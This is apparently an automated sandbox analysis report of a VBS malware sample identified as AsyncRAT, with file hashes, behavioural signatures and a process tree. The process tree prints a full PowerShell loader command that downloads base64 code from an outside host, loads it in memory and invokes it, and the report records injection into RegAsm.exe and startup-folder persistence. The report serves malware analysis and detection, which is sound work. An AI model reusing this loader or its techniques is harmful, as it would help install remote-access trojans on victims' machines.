Analysis
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max time kernel
150s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
23-09-2022 05:00
Static task
static1
Behavioral task
behavioral1
Sample
518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Resource
win7-20220812-en
General
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Target
518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
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Size
238KB
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MD5
518a1bd0764ca25fcf36d8a55bf2ebd9
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SHA1
d6e490cdf33972c115a035631a3db91e527b0ef3
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SHA256
c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
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SHA512
b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
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SSDEEP
48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA
Malware Config
Extracted
https://contadoreshbc.com/dll_startup
Signatures
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Async RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1844-138-0x000000000041472E-mapping.dmp asyncrat behavioral2/memory/1844-137-0x0000000000400000-0x000000000041A000-memory.dmp asyncrat -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 5 5024 powershell.exe 9 5024 powershell.exe 15 5024 powershell.exe 17 5024 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 5024 set thread context of 1844 5024 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 5024 powershell.exe 5024 powershell.exe 2332 powershell.exe 2332 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 5024 powershell.exe Token: SeDebugPrivilege 2332 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 4992 wrote to memory of 5024 4992 WScript.exe powershell.exe PID 4992 wrote to memory of 5024 4992 WScript.exe powershell.exe PID 5024 wrote to memory of 2332 5024 powershell.exe powershell.exe PID 5024 wrote to memory of 2332 5024 powershell.exe powershell.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe PID 5024 wrote to memory of 1844 5024 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Done.vbs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5af1cb166ef60425f7f761c7e2a56271c
SHA13d24a690ddbe7f2c099aa54198b1af5a0a0fa429
SHA256b5f5944d0252a0dad2c96e9f46799557f59855169cb1693dc40f1fdfd524bb4f
SHA51239f8eea604c85b92b98775fd85db519941c7a4c5cc2f1ae4228048a3f1963765d813e79b6ea354a329ad0c220dd1c7d68898affbfcad5d47a5d4a95de86217ce
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memory/1844-138-0x000000000041472E-mapping.dmp
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memory/1844-137-0x0000000000400000-0x000000000041A000-memory.dmpFilesize
104KB
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memory/2332-135-0x0000000000000000-mapping.dmp
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memory/2332-136-0x00007FFE98780000-0x00007FFE99241000-memory.dmpFilesize
10.8MB
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memory/5024-132-0x0000000000000000-mapping.dmp
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memory/5024-133-0x0000019E7A4C0000-0x0000019E7A4E2000-memory.dmpFilesize
136KB
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memory/5024-134-0x00007FFE98780000-0x00007FFE99241000-memory.dmpFilesize
10.8MB
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memory/5024-141-0x00007FFE98780000-0x00007FFE99241000-memory.dmpFilesize
10.8MB